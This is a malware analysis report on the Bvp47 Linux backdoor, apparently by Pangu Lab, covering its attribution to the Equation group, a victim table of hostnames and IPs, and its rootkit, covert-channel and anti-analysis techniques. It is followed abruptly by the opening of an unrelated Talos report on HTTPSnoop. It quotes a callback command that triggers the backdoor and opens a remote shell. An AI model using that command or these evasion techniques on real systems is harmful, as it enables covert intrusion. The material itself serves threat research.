Bvp47 exploits one weakness that common network detection devices generally do not check data packets during the TCP handshake. Bvp47 injects data in the first SYN packet in order to avoid detection by network security devices.
## Attacker Correlation and Attribution
### “The Shadow Brokers Leaks” Incident Correlation
In 2016, a hacker group named Shadow Broker released two compressed files, eqgrp-free-file.tar.xz.gpg and eqgrp-auction-file.tar.xz.gpg, claiming to have compromised the United States NSA's Equation group. The compressed file contains a large number of hacking tools of Equation group. Among them, the eqgrp-free-file.tar.xz.gpg compressed file is available for public download for inspection, and the other is sold at a current price of 1 million bitcoins for the decompression password of the eqgrp-auction-file.tar.xz.gpg file. However, no one would buy it. Finally, Shadow Broker chose to publish the decompression password of eqgrp-auction-file.tar.xz.gpg in April 2017.
In the process of analyzing the eqgrp-auction-file.tar.xz.gpg file, it was found that Bvp47 and the attacking tools in the compressed package were technically deterministic, mainly including “dewdrops,” “solution-char_agents,” “tipoffs,” “StoicSurgeon,” “incision,” and other directories. The “dewdrops_tipoffs” contains the private key required by Bvp47 for RSA public-private key communication. On this basis, it can be confirmed that Bvp47 is from Equation group.
Among them, “dewdrops” and “solutionchar_agents” are integrated into the Bvp47 sample platform as component functions, and the “tipoffs” directory is the control end of the Bvp47 remote communication.
### Asymmetric Algorithm Private Key Match
The “tipoffs” directory contains the RSA asymmetric algorithm private key used in the Bvp47 covert channel. That RSA private key is vital to Bvp47's command execution and other operations.
### Samples In-depth Correlation
The user.tool.stoicsurgeon.COMMON file in the eqgrp-auction-file.tar.xz.gpg file\Linux\doc\old\etc\ directory describes how to use the tipoff-BIN tool, and also reveals a series of information:
1. Bvp47 contains the module named "dewdrop," which can be triggered by the RSA private key of module "tipoff."
2. File COMMON describes a backdoor named "StoicSurgeon," namely a stoic surgeon, a multi-platform advanced rootkit backdoor, which can be combined with "dewdrop."
3. "StoicSurgeon" also has a little brother, "Incision," which is an incision and a rootkit backdoor.
4. During invasion, "Incision" can be upgraded to "StoicSurgeon."
The operating system supported by dewdrop basically covers mainstream Linux distributions, JunOS, FreeBSD, Solaris, etc. The operating system supported by StoicSurgeon basically covers mainstream Linux distributions, JunOS, FreeBSD, Solaris, etc.
How to upgrade from Incision to Stoicsurgeon is provided in the file "user.tool.linux.remove_install_ss.COMMON."
### Full Control Command Line
Bounce back connection operation of Bvp47 backdoor can be done by following command:
```
# ./tipoffs/dewdrop_tipoff --trigger-address 11.22.33.44 --target-address 12.34.56.78 --target-protocol tcp --target-port 1357 --callback-address 13.24.57.68 --callback-port 2468 --start-ish
```
Among them, ish corresponds to the file ish in the \eqgrp-auction-file\Linux\bin directory, combined with the leaked ish tool, successfully activated the backdoor Bvp47, completed the remote download execution function, and opened the remote shell.
In addition, there are other commands to remotely execute the specified program.
### Connection with Snowden Incident
In December 2013, the German media "Der Spiegel" published an NSA ANT catalog with 50 pictures. This is a series of top-secret materials compiled by the NSA in 2008-2009, including the use of a series of advanced hacking tools. The source of information may come from Edward Snowden or another unknown intelligence provider.
The FOXACID-Server-SOP-Redacted.pdf file in the NSA ANT catalog describes the mandatory unique identification code required for the job, "ace02468bdf13579."
In the compressed eqgrp-free-file.tar.xz.gpg leaked by Shadow Brokers, SecondDate-3021.exe in the \eqgrp-free-file\Firewall\BANANAGLEE\BG3000\Install\LP\Modules\PIX\ directory also has a unique identification code of "ace02468bdf13579," and the file name “SecondDate” conforms to the standard of operation document.
If SecondDate-3021.exe is just a coincidence, the string "ace02468bdf13579" appears in the 47 files related to the tool named SecondDate in the leaked tool set, which is obviously not a coincidence that can be explained. And in a SecondDate file named \eqgrp-free-file\Firewall\SCRIPTS\ directory, it describes how to use SecenData, which is consistent with the description of FOXACID-Server-SOP-Redacted.pdf mentioned earlier.
After analyzing more than 90 programs related to SecondDate, it is found that the SecondDate program spans multiple platforms and architectures, such as Windows, Linux, Solaris, etc. The types from executable files to shellcode are very comprehensive, and it has undergone multiple iterations of the lowest version. 1.3.0.1 was created in May 2007, and the highest version 3.0.3.6 was created in October 2013. The starting time was in line with the top-secret electronic monitoring plan implemented in 2007 as described by the PRISM Project, and it lasted as long as 6 years. The iterative version, perfect cross-platform, support for various architectures, and diversified startup methods imply the strong organizational and technical capabilities behind the project.
Moreover, the relationship between STOICSURGEON and the SECONDDATE program is also clarified in the opscript.txt in the "EquationGroup-master\Linux\etc" directory. Therefore, there are enough reasons to believe that the two compressed files leaked by Shadow Brokers in 2016 and 2017 belonged to the NSA Equation group’s hacking tools.
### Bvp47—US NSA’s Top-tier Backdoor
1. The unique feature identifier "ace02468bdf13579" in the hacker tool mentioned in the material of the NSA ANT catalog FOXACID-Server-SOP-Redacted.pdf has appeared in the tool set of "The Shadow Brokers Leaks" many times.
2. The RSA private key in the Bvp47 backdoor program exists in the tool tipoff-BIN of "The Shadow Brokers Leaks."
3. Use the tool tipoff-BIN of "The Shadow Brokers Leaks" to directly activate the module Dewdrops of the backdoor Bvp47, and Dewdrop and STOICSURGEON belong to the same series backdoor.
4. It is finally determined that the Bvp47 backdoor is assembled by the "The Shadow Brokers Leaks" tool module, that is, Bvp47 belongs to the top backdoor of the Equation group of US NSA.
## Global Victims
A list of potential Dewdrop, StoicSurgeon, and Incision backdoor victims is provided in the eqgrp-auction-file.tar.xz.gpg file\Linux\bin\varkeys\pitchimpair\ directory. The victims are all over the world, including some key units of China:
| Domain Name | IP | Country | Details |
|-------------|----|---------|---------|
| sonatns.sonatrach.dz | 193.194.75.35 | Algeria | Algeria |
| enterprise.telesat.com.co | 66.128.32.67 | Argentina | North America |
| voyager1.telesat.com.co | 66.128.32.68 | Argentina | North America |
| metcoc5cm.clarent.com | 213.132.50.10 | Argentina | United Arab Emirates DU Telecom |
| iti-idsc.net.eg | 163.121.12.2 | Egypt | Egypt |
| mbox.com.eg | 213.212.208.10 | Egypt | Egypt |
| pksweb.austria.eu.net | 193.154.165.79 | Austria | Austria |
| opserver01.iti.net.pk | 202.125.138.184 | Pakistan | Pakistan |
| sussi.cressoft.com.pk | 202.125.140.194 | Pakistan | Pakistan |
| ns1.multi.net.pk | 202.141.224.34 | Pakistan | Pakistan |
| mpkhi-bk.multi.net.pk | 202.141.224.40 | Pakistan | Pakistan |
| tx.micro.net.pk | 203.135.2.194 | Pakistan | Pakistan |
| pop.net21pk.com | 203.135.45.66 | Pakistan | Pakistan |
| connection1.connection.com.br | 200.160.208.4 | Brazil | Brazil Sao Paulo |
| connection2.connection.com.br | 200.160.208.8 | Brazil | Brazil Sao Paulo |
| vnet3.vub.ac.be | 134.184.15.13 | Belgium | Free University of Brussels, Belgium |
| debby.vub.ac.be | 134.184.15.79 | Belgium | Free University of Brussels, Belgium |
| theta.uoks.uj.edu.pl | 149.156.89.30 | Poland | Poland academic centre in Southern Poland |
| rabbit.uj.edu.pl | 149.156.89.33 | Poland | Poland academic centre in Southern Poland |
| okapi.ict.pwr.wroc.pl | 156.17.42.30 | Poland | Poland Education Network |
| ids2.int.ids.pl | 195.117.3.32 | Poland | Poland |
| most.cob.net.ba | 195.222.48.5 | Bosnia | Bosnia and Herzegovina |
| webnetra.entelnet.bo | 166.114.10.28 | Bolivia | Bolivia |
| ns1.btc.bw | 168.167.168.34 | Botswana | Botswana |
| mailhost.fh-muenchen.de | 129.187.244.204 | Germany | eibniz Rechenzentrum, Munich, Bavaria, Germany |
| sunbath.rrze.uni-erlangen.de | 131.188.3.200 | Germany | University of Erlangen-Nuremberg, Germany |
| niveau.math.uni-bremen.de | 134.102.124.201 | Germany | University of Bremen, Germany |
| s03.informatik.uni-bremen.de | 134.102.201.53 | Germany | University of Bremen, Germany |
| kalliope.rz.unibw-muenchen.de | 137.193.10.12 | Germany | Bundeswehr University Munich, Germany |
| kommsrv.rz.unibw-muenchen.de | 137.193.10.8 | Germany | Bundeswehr University Munich, Germany |
| servercip92.e-technik.uni-rostock.de | 139.30.200.132 | Germany | Germany |
| paula.e-technik.uni-rostock.de | 139.30.200.225 | Germany | Germany |
| pastow.e-technik.uni-rostock.de | 139.30.200.36 | Germany | Germany |
| xilinx.e-technik.uni-rostock.de | 139.30.202.12 | Germany | Germany |
| asic.e-technik.uni-rostock.de | 139.30.202.8 | Germany | Germany |
| jupiter.mni.fh.giessen.de | 212.201.7.17 | Germany | Giessen-Friedberg University of Applied Sciences, Germany |
| saturn.mni.fh-giessen.de | 212.201.7.21 | Germany | Giessen-Friedberg University of Applied Sciences, Germany |
| n02.unternehmen.com | 62.116.144.147 | Germany | InterNetX, Munich, Bavaria, Germany |
| no1.unternehemen.com | 62.116.144.150 | Germany | InterNetX, Munich, Bavaria, Germany |
| no3.unternehmen.org | 62.116.144.190 | Germany | InterNetX, Munich, Bavaria, Germany |
| unk.vver.kiae.rr | 144.206.175.2 | The Russian Federation | Kurchatov Institute of Atomic Energy, Russia |
| sunhe.jinr.ru | 159.93.18.100 | The Russian Federation | Dubna University, Russia |
| mail.ioc.ac.ru | 193.233.3.6 | The Russian Federation | Russia |
| www.nursat.kz | 194.226.128.26 | The Russian Federation | Russia |
| kserv.krldysh.ru | 194.226.57.53 | The Russian Federation | Russia |
| ns2.rosprint.ru | 194.84.23.125 | The Russian Federation | Russia |
| gate.technopolis.kirov.ru | 217.9.148.61 | The Russian Federation | Russia |
| jur.unn.ac.ru | 62.76.114.22 | The Russian Federation | Russia |
| ns1.bttc.ru | 80.82.162.118 | The Russian Federation | Russia |
| spirit.das2.ru | 81.94.47.83 | The Russian Federation | Russia |
| m0-s.san.ru | 88.147.128.28 | The Russian Federation | Russia |
| tayuman.info.com.ph | 203.172.11.21 | Philippine | Philippine |
| ns2-backup.tpo.fi | 193.185.60.40 | Finland | Finland |
| mail.tpo.fi | 193.185.60.42 | Finland | Finland |
| ns.youngdong.ac.kr | 202.30.58.1 | South Korea | South Korea |
| ns1.youngdong.ac.kr | 202.30.58.5 | South Korea | South Korea |
| ns.kix.ne.kr | 202.30.94.10 | South Korea | South Korea National Information Society Agency |
| ns.khmc.or.kr | 203.231.128.1 | South Korea | South Korea KYUNG-HEE UNIVERSITY |
| ns.hanseo.ac.kr | 203.234.72.1 | South Korea | South Korea KT Telecom |
| mail.hanseo.ac.kr | 203.234.72.4 | South Korea | South Korea KT Telecom |
| sky.kies.co.kr | 203.236.114.1 | South Korea | South Korea |
| smuc.smuc.ac.kr | 203.237.176.1 | South Korea | South Korea Education Network |
| ns.anseo.dankook.ac.kr | 203.237.216.2 | South Korea | South Korea Education Network |
| myhome.elim.net | 203.239.130.7 | South Korea | South Korea |
| ns.kimm.re.kr | 203.241.84.10 | South Korea | South Korea KOREA INSTITUTE OF MACHINERY & MATERIALS |
| mail.howon.ac.kr | 203.246.64.14 | South Korea | South Korea Education Network |
| ns.hufs.ac.kr | 203.253.64.1 | South Korea | South Korea Hankuk University of Foreign Studies |
| san.hufs.ac.kr | 203.253.64.2 | South Korea | South Korea Hankuk University of Foreign Studies |
| ns.icu.ac.kr | 210.107.128.31 | South Korea | Sejong University, South Korea |
| winner.hallym.ac.kr | 210.115.225.10 | South Korea | South Korea |
| ns.hallym.ac.kr | 210.115.225.11 | South Korea | South Korea |
| winners.yonsei.ac.kr | 210.115.225.14 | South Korea | South Korea |
| e3000.hallym.ac.kr | 210.115.225.16 | South Korea | South Korea |
| win.hallym.ac.kr | 210.115.225.17 | South Korea | South Korea |
| mail.hallym.ac.kr | 210.115.225.25 | South Korea | South Korea |
| dcproxy1.thrunet.com | 210.117.65.44 | South Korea | South Korea |
| mail.mae.co.kr | 210.118.179.1 | South Korea | South Korea |
| ns2.ans.co.kr | 210.126.104.74 | South Korea | Cheongju, South Korea |
| ns.eyes.co.kr | 210.98.224.88 | South Korea | South Korea |
| ftp.hyunwoo.co.kr | 211.232.97.195 | South Korea | South Korea |
| jumi.hyunwoo.co.kr | 211.232.97.217 | South Korea | South Korea |
| mail.utc21.co.kr | 211.40.103.194 | South Korea | South Korea LG DACOM |
| doors.co.kr | 211.43.193.9 | South Korea | South Korea |
| orange.npix.net | 211.43.194.48 | South Korea | South Korea |
| logos.uba.uva.nl | 145.18.84.96 | Netherlands | Netherlands |
| opcwdns.opcw.nl | 195.193.177.150 | Netherlands | Netherlands |
| nl37.yourname.nl | 82.192.68.37 | Netherlands | LeaseWeb IDC, Amsterdam, The Netherlands |
| ns.gabontelecom.com | 217.77.71.52 | Gabon | Gabon |
| itellin1.eafix.net | 212.49.95.133 | Kenya | Kenya |
| ns1.starnets.ro | 193.226.61.68 | Romania | Romania |
| ns2.chem.tohoku.ac.jp | 130.134.115.132 | USA | USA |
| ns.global-one.dk | 194.234.33.5 | USA | Denmark |
| eol1.egyptonline.com | 206.48.31.2 | USA | USA |
| rayo.pereira.multi.net.co | 206.49.164.2 | USA | USA |
| mn.mn.co.cu | 216.72.24.114 | USA | USA |
| smtp.bangla.net | 203.188.252.10 | Bangladesh | Bangladesh |
| ns1.bangla.net | 203.188.252.2 | Bangladesh | Bangladesh |
| mail.bangla.net | 203.188.252.3 | Bangladesh | Bangladesh |
| dns2.unam.mx | 132.248.10.2 | Mexico | National Autonomous University of Mexico |
| dns1.unam.mx | 132.248.204.1 | Mexico | National Autonomous University of Mexico |
| ns.unam.mx | 132.248.253.1 | Mexico | National Autonomous University of Mexico |
| sedesol.sedesol.gob.mx | 148.233.6.164 | Mexico | Mexico |
| www.pue.uia.mx | 192.100.196.7 | Mexico | Mexico |
| docs.ccs.net.mx | 200.36.53.150 | Mexico | Mexico |
| info.ccs.net.mx | 200.36.53.160 | Mexico | Mexico |
| segob.gob.mx | 200.38.166.2 | Mexico | Mexico |
| mercurio.rtn.net.mx | 204.153.24.1 | Mexico | Mexico |
| mercurio.rtn.net.mx | 204.153.24.14 | Mexico | Mexico |
| ciidet.rtn.net.mx | 204.153.24.32 | Mexico | Mexico |
| tuapewa.polytechnic.edu.na | 196.31.225.2 | South Africa | Namibia |
| sunfirev250.cancilleria.gob.ni | 165.98.181.5 | Nicaragua | National Engineering University of Nicaragua |
| ccmman.rz.unibw-muenchen.de | 137.93.10.6 | Norway | Norway |
| unknown.unknown | 125.10.31.145 | Japan | Japan ATHOME Network |
| www21.counsellor.gov.cn | 130.34.115.132 | Japan | Tohoku University |
| mbi3.kuicr.kyoto-u.ac.jp | 133.103.101.21 | Japan | Japan |
| cs-serv02.meiji.ac.jp | 133.26.135.224 | Japan | Meiji University, Japan |
| icrsun.kuicr.kyoto-u.ac.jp | 133.3.5.2 | Japan | Kyoto University, Japan |
| icrsun.kuicr.kyoto-u.ac.jp | 133.3.5.20 | Japan | Kyoto University, Japan |
| sunl.scl.kyoto-u.ac.jp | 133.3.5.30 | Japan | Kyoto University, Japan |
| uji.kyoyo-u.ac.jp | 133.3.5.33 | Japan | Kyoto University, Japan |
| ci970000.sut.ac.jp | 133.31.106.46 | Japan | Tokyo University of Science |
| ns.bur.hiroshima-u.ac.jp | 133.41.145.11 | Japan | Japan |
| fl.sun-ip.or.jp | 150.27.1.10 | Japan | Japan |
| son-goki.sun-ip.or.jp | 150.27.1.11 | Japan | Japan |
| nodep.sun-ip.or.jp | 150.27.1.2 | Japan | Japan |
| hk.sun-ip.or.jp | 150.27.1.5 | Japan | Japan |
| ns1.sun-ip.or.jp | 150.27.1.8 | Japan | Japan |
| proxy1.tcn.ed.jp | 202.231.176.242 | Japan | Japan SINET |
| photon.sci-museum.kita.osaka.jp | 202.243.222.7 | Japan | Tokyo Velix Technology Co., Ltd. |
| noc35.corp.home.ad.jp | 203.165.5.114 | Japan | Japan |
| noc37.corp.home.ad.jp | 203.165.5.117 | Japan | Japan |
| noc38.corp.home.ad.jp | 203.165.5.118 | Japan | Japan |
| noc33.corp.home.ad.jp | 203.165.5.74 | Japan | Japan |
| noc21.corp.home.ad.jp | 203.165.5.78 | Japan | Japan |
| noc23.corp.home.ad.jp | 203.165.5.80 | Japan | Japan |
| noc25.corp.home.ad.jp | 203.165.5.82 | Japan | Japan |
| noc26.corp.home.ad.jp | 203.165.5.83 | Japan | Japan |
| www2.din.or.jp | 210.135.90.7 | Japan | Japan |
| www3.din.or.jp | 210.135.90.8 | Japan | Japan |
| mail-gw.jbic.go.jp | 210.155.61.54 | Japan | KDDI Communications Company, Tokyo, Japan |
| mail.interq.or.jp | 210.157.0.87 | Japan | Japan GMO |
| www.cfd.or.jp | 210.198.16.75 | Japan | Japan |
| hakuba.janis.or.jp | 210.232.42.3 | Japan | Japan KDDI |
| mx1.freemail.ne.jp | 210.235.164.21 | Japan | Japan KDDI |
| pitepalt.stacken.kth.se | 130.237.234.151 | Sweden | Sweden |
| snacks.stacken.kth.se | 130.237.234.152 | Sweden | Sweden |
| ns.stacken.kth.se | 130.237.234.17 | Sweden | Sweden |
| milko.stacken.kth.se | 130.237.234.3 | Sweden | Sweden |
| xn--selma-lagerlf-tmb.stacken.kth.se | 130.237.234.51 | Sweden | Sweden |
| xn--anna-ahlstrm-fjb.stacken.kth.se | 130.237.234.53 | Sweden | Sweden |
| www.bygden.nu | 192.176.10.178 | Sweden | Sweden |
| geosun1.unige.ch | 129.194.41.4 | Switzerland | University of Geneva, Switzerland |
| scsun25.unige.ch | 129.194.49.47 | Switzerland | University of Geneva, Switzerland |
| cmusun8.unige.ch | 129.194.97.8 | Switzerland | University of Geneva, Switzerland |
| dns2.net1.it | 213.140.195.7 | Cyprus | Cyprus |
| sparc.nour.net.sa | 212.12.160.26 | Saudi Arabia | Saudi Arabia Nour Communication Co.Ltd |
| mail.imamu.edu.sa | 212.138.48.8 | Saudi Arabia | Saudi Arabia King Abdul Aziz City for Science and Technology |
| kacstserv.kacst.edu.sa | 212.26.44.132 | Saudi Arabia | Saudi Arabia King Abdul Aziz City for Science and Technology |
| mail.jccs.com.sa | 212.70.32.100 | Saudi Arabia | Saudi Arabia Jeraisy For Internet Services Co.Ltd |
| sci.s-t.au.ac.th | 168.120.9.1 | Thailand | Assumption University of Thailand |
| webmail.s-t.au.ac.th | 168.120.9.2 | Thailand | Assumption University of Thailand |
| mail.howon.ac.kr | 203.146.64.14 | Thailand | Thailand |
| nsce1.ji-net.com | 203.147.62.229 | Thailand | Thailand |
| war.rkts.com.tr | 195.142.144.125 | Turkey | Turkey |
| orion.platino.gov.ve | 161.196.215.67 | Venezuela | Venezuela |
| ltv.com.ve | 200.75.112.26 | Venezuela | Venezuela |
| msgstore2.pldtprv.net | 192.168.120.3 | Reserved | Intranet |
| splash-atm.upc.es | 147.83.2.116 | Spain | Polytechnic University of Catalonia, Spain |
| servidor2.upc.es | 147.83.2.3 | Spain | Polytechnic University of Catalonia, Spain |
| dukas.upc.es | 147.83.2.62 | Spain | Polytechnic University of Catalonia, Spain |
| moneo.upc.es | 147.83.2.91 | Spain | Polytechnic University of Catalonia, Spain |
| sun.bq.ub.es | 161.116.154.1 | Spain | University of Barcelona, Spain |
| oiz.sarenet.es | 192.148.167.17 | Spain | Spain |
| anie.sarenet.es | 192.148.167.2 | Spain | Spain |
| orhi.sarenet.es | 192.148.167.5 | Spain | Spain |
| iconoce1.sarenet.es | 194.30.0.16 | Spain | Spain |
| tologorri.grupocorreo.es | 194.30.32.109 | Spain | Spain |
| zanburu.grupocorreo.es | 194.30.32.113 | Spain | Spain |
| ganeran.sarenet.es | 194.30.32.177 | Spain | Spain |
| colpisaweb.sarenet.es | 194.30.32.229 | Spain | Spain |
| burgoa.sarenet.es | 194.30.32.242 | Spain | Spain |
| mtrader2.grupocorreo.es | 194.30.32.29 | Spain | Spain |
| mailgw.idom.es | 194.30.33.29 | Spain | Spain |
| ns2.otenet.gr | 195.170.2.1 | Greece | Greece |
| electra.otenet.gr | 195.170.2.3 | Greece | Greece |
| dragon.unideb.hu | 193.6.138.65 | Hungary | Hungary |
| laleh.itrc.ac.ir | 80.191.2.2 | Iran | Iran |
| mailhub.minaffet.gov.rw | 62.56.174.152 | Israel | UK |
| mail.irtemp.na.cnr.it | 140.164.20.20 | Italy | Italian National Research Council |
| mail.univaq.it | 192.150.195.10 | Italy | Italy |
| ns.univaq.it | 192.150.195.20 | Italy | Italy |
| matematica.univaq.it | 192.150.195.38 | Italy | Italy |
| sparc20mc.ing.unirc.it | 192.167.50.12 | Italy | Italy Universita' degli Studi Mediterranea di Reggio Calabria |
| giada.ing.unirc.it | 192.167.50.14 | Italy | Italy Universita' degli Studi Mediterranea di Reggio Calabria |
| mailer.ing.unirc.it | 192.167.50.2 | Italy | Italy Universita' degli Studi Mediterranea di Reggio Calabria |
| mailer.ing.unirc.it | 192.167.50.202 | Italy | Italy Universita' degli Studi Mediterranea di Reggio Calabria |
| bambero1.cs.tin.it | 194.243.154.57 | Italy | Italy |
| gambero3.cs.tin.it | 194.243.154.62 | Italy | Italy |
| mail.bhu.ac.in | 202.141.107.15 | India | India Banaras Hindu University |
| mtccsun.imtech.ernet.in | 202.141.121.198 | India | India Education Network |
| axil.eureka.lk | 202.21.32.1 | India | Sri Lanka |
| mu-me01-ns-ctm001.vsnl.net.in | 202.54.4.39 | India | India |
| vsn1radius1.vsn1.net.in | 202.54.4.61 | India | India |
| vsnl-navis.emc-sec.vsnl.net.in | 202.54.49.70 | India | India |
| ns1.ias.ac.in | 203.197.183.66 | India | India |
| mail.tropmet.res.in | 203.199.143.2 | India | India |
| mail1.imtech.res.in | 203.90.127.22 | India | India |
| nd11mx1-a-fixed.sancharnet.in | 61.0.0.46 | India | India |
| ndl1pp1-a-fixed.sancharnet.in | 61.0.0.71 | India | India |
| bgl1dr1-a-fixed.sancharnet.in | 61.1.128.17 | India | India |
| bgl1pp1-a-fixed.sancharnet.in | 61.1.128.71 | India | India |
| mum1mr1-a-fixed.sancharnet.in | 61.1.64.45 | India | India |
| www.caramail.com | 195.68.99.20 | UK | UK |
| newin.int.rtbf.be | 212.35.107.2 | UK | Belgium |
| m16.kazibao.net | 213.41.77.50 | UK | UK |
| webshared-admin.colt.net | 213.41.78.10 | UK | UK |
| webshared-front2.colt.net | 213.41.78.12 | UK | UK |
| webshared-front3.colt.net | 213.41.78.13 | UK | UK |
| webshared-front4.colt.net | 213.41.78.14 | UK | UK |
| petra.nic.gov.jo | 193.188.71.4 | Jordan | Jordan |
| ns.cec.uchile.cl | 200.9.97.3 | Chile | Chile |
| 159.226.*.* | China | China |
| 166.111.*.* | China | China |
| 168.160.*.* | China | China |
| 202.101.*.* | China | China |
| 202.107.*.* | China | China |
| 202.112.*.* | China | China |
| 202.117.*.* | China | China |
| 202.121.*.* | China | China |
| 202.127.*.* | China | China |
| 202.166.*.* | China | China |
| 202.197.*.* | China | China |
| 202.201.*.* | China | China |
| 202.204.*.* | China | China |
| 202.38.*.* | China | China |
| 202.84.*.* | China | China |
| 202.96.*.* | China | China |
| 210.72.*.* | China | China |
| 210.77.*.* | China | China |
| 210.83.*.* | China | China |
| 211.137.*.* | China | China |
| 211.138.*.* | China | China |
| 211.82.*.* | China | China |
| 218.104.*.* | China | China |
| 218.107.*.* | China | China |
| 218.245.*.* | China | China |
| 218.247.*.* | China | China |
| 218.29.*.* | China | China |
| 222.22.*.* | China | China |
| 61.151.*.* | China | China |
| 202.175.*.* | Macau, China | Macau, China |
| mars.ee.nctu.tw | 140.113.212.13 | Taiwan, China | National Chiao Tung University of Hsinchu City, Taiwan Province |
| cad-server1.ee.nctu.edu.tw | 140.113.212.150 | Taiwan, China | National Chiao Tung University of Hsinchu City, Taiwan Province |
| expos.ee.nctu.edu.tw | 140.113.212.20 | Taiwan, China | National Chiao Tung University of Hsinchu City, Taiwan Province |
| twins.ee.nctu.edu.tw | 140.113.212.26 | Taiwan, China | National Chiao Tung University of Hsinchu City, Taiwan Province |
| soldier.ee.nctu.edu.tw | 140.113.212.31 | Taiwan, China | National Chiao Tung University of Hsinchu City, Taiwan Province |
| royals.ee.nctu.edu.tw | 140.113.212.9 | Taiwan, China | National Chiao Tung University of Hsinchu City, Taiwan Province |
| mail.et.ntust.edu.tw | 140.118.2.53 | Taiwan, China | National Taiwan University of Science and Technology, Taipei, Taiwan Province |
| mail.dyu.edu.tw | 163.23.1.73 | Taiwan, China | Taiwan Province TANet |
| mail.ncue.edu.tw | 163.23.225.100 | Taiwan, China | Taiwan Province TANet |
| aries.ficnet.net | 202.145.137.19 | Taiwan, China | Taiwan Fixed Network, Taiwan Province |
| ns.chining.com.tw | 202.39.26.50 | Taiwan, China | Chunghwa Telecom, Taiwan Province |
| mail.tccn.edu.tw | 203.64.35.108 | Taiwan, China | Hualien County Tzu Chi University of Science and Technology, Taiwan Province |
| mail.must.edu.tw | 203.68.220.40 | Taiwan, China | Taiwan Province |
| ultra10.nanya.edu.tw | 203.68.40.6 | Taiwan, China | Taiwan Province |
| mail.hccc.gov.tw | 210.241.6.97 | Taiwan, China | Taiwan Province |
## Detailed Techniques of Bvp47 Backdoor
The implementation of Bvp47 includes complex code, segment encryption and decryption, Linux multi-version platform adaptation, rich rootkit anti-tracking techniques, and most importantly, it integrates advanced BPF engine used in advanced covert channels, as well as cumbersome communication encryption and decryption process. This chapter will analyze the above aspects.
### Main Behaviors
There are several key points in the program initialization as follows:
1. Linux user mode and kernel mode. The process in user mode will remain alive.
2. Initialize the Bvp engine.
3. A series of environmental tests. If environmental information does not meet requirements, the sample will be automatically deleted.
4. A series of payload block decryption.
5. Tamper with kernel devmem restrictions. This will allow the process in user mode to directly read and write kernel space. Other kernel techniques are used as well.
6. Load non-standard lkm module files.
7. Hook system function in order to hide its own process, file, network, and self-deleting detection in the covered channel communication.
### Payload
The entire file of Bvp47 adopts the commonly used backdoor packaging method, that is, the backdoor function modules are compressed and assembled and then placed at the end of the file, and the whole file exists in the form of additional data. The additional data is loaded through the loader function module built into the program, which mainly completes the following steps:
- Read
- Check
- Unzip
- Decrypt
- Load
The main data structure of the payload is as follows:
In terms of decryption, the loader of the payload will do the following:
1. Call four different decryption functions (the underlying decryption method is the same) to complete the decompression operation of each slice.
2. After completing operation 1, the loader will continue to call the Xor 0x47 algorithm to complete the decryption of the slice.
### Strings Encryption
In the Bvp47 sample, many strings and blocks are encrypted to lower the possibility of exposure. These encryption techniques are mainly based on XOR operation. These subtle encryptions will cause considerable analysis costs to the researchers.
### Techniques of Function Name Obfuscation
The export functions of some code slice modules in Bvp47's payload generally use the form of "digital names" to provide interface services to external. Such confusion creates a big obstacle for researchers in analyzing the function analysis of the export interface.
### Bvp Engine
To improve its versatility, Bvp47 uses many dynamic calculations of Linux kernel data and function addresses. At the same time, to be fundamentally compatible with a large amount of Linux kernel data and various independently developed sections of the payload, they developed the Bvp engine to dynamically redirect and adapt the system functions and data structures required by Bvp47 in compilation and runtime.
### System Hook
Bvp47 mainly hooks nearly 70 process functions in the Linux operating system kernel, which are mainly used to hide network, process, file, and SeLinux bypass.
### AV Evasion in Kernel Module
Bvp47 will modify the first four bytes of the elf file of the kernel module to avoid memory search for elf and load it through its own lkm loader.
### BPF Covert Channel
BPF (Berkeley Packet Filter) is a kernel engine used in the Linux kernel to filter custom format packets. It can provide a set of prescribed languages for ordinary processes in the user layer to filter the specified data packets. Bvp47 directly uses this feature of BPF as an advanced technique at the Linux kernel level in the covert channel to avoid direct kernel network protocol stack hooks from being detected by researchers.
### Channel Encryption and Decryption
Bvp47 uses asymmetric algorithms RSA and the RC-X algorithm as a guarantee for the security of the communication link. Intermediate calculations will involve factors such as the time and length of sending and receiving packets.
### Runtime Environment Detection
To better protect itself, Bvp47 has made a series of operating environment tests to prevent security researchers from directly performing dynamic analysis after the sample is obtained. After decrypting the first block of the payload, a 32-bit unsigned integer value will be obtained. This value is mainly used as a checksum to verify the operating environment.
### Other Techniques
1. Use setrlimit API to set the core dump file size to 0 to prevent sample extraction.
2. Anti-sandbox technology combined with argv[0] and lstat.
3. mkstmp anti-sandbox technology.
4. /boot anti-sandbox technology.
5. API Flooding and Delayed Execution.
## Summary
As an advanced attack tool, Bvp47 has allowed the world to see its complexity, pertinence, and forward-looking. What is shocking is that after analysis, it has been realized that it may have existed for more than ten years. According to the information learned through Shadow Brokers Leaks and NSA ANT catalog channels, the engineering behind it basically involves the full *nix platform, and the advanced SYNKnock covert channel technology it uses may involve the Cisco platform, Solaris, AIX, SUN, and even the Windows platform.
What kind of force is driving its development? It may be possible to get some answers from multiple victim units, which generally come from key departments of the state. Pangu Lab, as a cyber security team that insists on high-precision technology-driven, is soberly aware of the powerful ability of the world's super-class APT group in attacking technology. We could only protect users in future cyber confrontations by actively exploring the cutting-edge technology of information security attack and defense, keeping tracking important incidents, and coordinating with cybersecurity professionals globally. |
# New Shrouded Snooper Actor Targets Telecommunications Firms in the Middle East with Novel Implants
**Asheer Malhotra**
**September 19, 2023**
**SecureX Threats**
Cisco Talos recently discovered a new malware family we’re calling “HTTPSnoop” being deployed against telecommunications providers in the Middle East. HTTPSnoop is a simple, yet effective, backdoor that consists of novel techniques to interface with Windows HTTP kernel drivers and devices to listen to incoming requests for specific HTTP(S) URLs and execute that content on the infected endpoint.
We also discovered a sister implant to “HTTPSnoop” we’re naming “PipeSnoop,” which can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint.
We identified DLL- and EXE-based versions of the implants that masquerade as legitimate security software components, specifically extended detection and response (XDR) agents, making them difficult to detect. We assess with high confidence that both implants belong to a new intrusion set we’re calling “ShroudedSnooper.” Based on the HTTP URL patterns used in the implants, such as those mimicking Microsoft’s Exchange Web Services (EWS) platform, we assess that this threat actor likely exploits internet-facing servers and deploys HTTPSnoop to gain initial access.
This activity is a continuation of a trend we have been monitoring over the last several years in which sophisticated actors are frequently targeting telecoms. This sector was consistently a top-targeted industry vertical in 2022, according to Cisco Talos Incident Response data.
## ShroudedSnooper Activity Highlights Latest Threat to Telecommunications Entities
This specific cluster of implants involving HTTPSnoop and PipeSnoop and associated tactics, techniques, and procedures (TTPs) do not match a known group that Talos tracks. We are therefore attributing this activity to a distinct intrusion set we’re calling “ShroudedSnooper.”
